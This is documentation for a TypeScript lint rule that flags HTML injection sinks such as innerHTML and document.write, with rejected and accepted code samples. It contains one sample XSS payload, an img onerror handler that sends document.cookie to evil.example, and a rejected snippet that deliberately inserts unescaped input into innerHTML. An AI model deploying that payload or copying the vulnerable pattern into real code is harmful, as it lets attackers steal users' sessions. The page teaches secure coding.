markup-sink
Markup written into the page from a value that isn't a constant the source shows or an Html: el.innerHTML = text, outerHTML, insertAdjacentHTML(position, text), setHTMLUnsafe(text), document.write(text), range.createContextualFragment(text), iframe.srcdoc = text, setAttribute("srcdoc", text), document.execCommand("insertHTML", false, text).
Why: the browser parses the text as HTML and runs what it says. A comment, a user name or a field from an API that holds <img src=x onerror="fetch('https://evil.example/?c=' + document.cookie)"> runs that script in your page, as the user who reads it (XSS). Text belongs in textContent; markup that must be markup goes through an escape or a sanitizer first, and its type says so.
✕ Rejectedmarkup-sink
ts
export function showComment(body: string): void {
const el = document.createElement("p");
el.innerHTML = `<b>New:</b> ${body}`;
document.body.append(el);
}✅ Accepted: text as text, or escaped into the markup
✓ Accepted0 diagnostics
ts
import { escapeHtml } from "@evobug_com/safe-ts-std/html";
export function showComment(body: string): void {
const el = document.createElement("p");
el.textContent = body;
document.body.append(el);
}
export function showBadge(name: string, count: number): void {
const el = document.createElement("span");
el.innerHTML = `<b>${escapeHtml(name)}</b> (${count})`;
document.body.append(el);
}✅ Accepted: markup that must stay markup, through the project's sanitizer
✓ Accepted0 diagnostics
ts
import DOMPurify from "dompurify";
import { defineSanitizer, type Html } from "@evobug_com/safe-ts-std/html";
const sanitizeHtml = defineSanitizer((raw) => DOMPurify.sanitize(raw));
export function showArticle(rendered: string): void {
const el = document.createElement("article");
el.innerHTML = sanitizeHtml(rendered);
document.body.append(el);
}
// A helper that takes an `Html` hands the obligation to its callers, where TypeScript holds them to it.
export function showMarkup(html: Html): void {
const el = document.createElement("div");
el.innerHTML = html;
document.body.append(el);
}What is accepted is the same at every markup sink, v-html (vue-v-html) and dangerouslySetInnerHTML (react-dangerous-html) included: a constant the source shows (a literal, a template without substitutions, a const of one, a number), a value typed Html (a parameter, a prop, a const, a branch of ?:), a call of a known sanitizer (DOMPurify's sanitize, sanitize-html, xss, imported from their packages) or of a function of yours whose every return is one, and a template or + whose parts are each one of these. The value is split into the parts the sink reads: both branches of ?:, the sides of || and ??, the right of &&, what a const holds, and every value a let of the function is given (let html = "<ul>"; html += "<li>fixed</li>";, unless a nested function writes it too), an entry of a table the source writes out (for (const [name, b] of Object.entries(TABLE)) ... b.color).
The sink is found however it is written: el.innerHTML = v, +=, ||=, &&=, ??=, Object.assign(el, { innerHTML: v }) (an object the call doesn't write out isn't followed), and on an element reached through its declared type (a parameter, a field, an item of a NodeListOf<...>, an alias, Mut<...>), an instanceof test, document.createElement(...), or by the member's name on any receiver for innerHTML and its kin.
A helper that takes a string and writes it as markup is reported in the helper, at the sink, whatever its callers give it: its parameter's type is its contract, and string says anything goes. Typing the parameter Html moves the obligation to the callers.
DOMParser#parseFromString and Document.parseHTMLUnsafe aren't sinks: the document they make has no browsing context, so nothing in it runs or loads until its nodes are put into the page.
What the rule can't see: nodes moved from a parsed document into the page (document.body.append(...parsed.body.childNodes)), which is where that markup runs; markup accumulated in a let from a callback, or from a table that spreads another one in; an element whose class the checker can't tell (a template ref, what a function of yours returns untyped), for members other elements share (setAttribute; innerHTML, insertAdjacentHTML and their kin are matched by name); Object.assign(el, props) with an object written elsewhere. Which members are sinks is data: the browser pack's browser-api.json (sinks), checked in Chromium, Firefox and WebKit (Libraries: Sinks).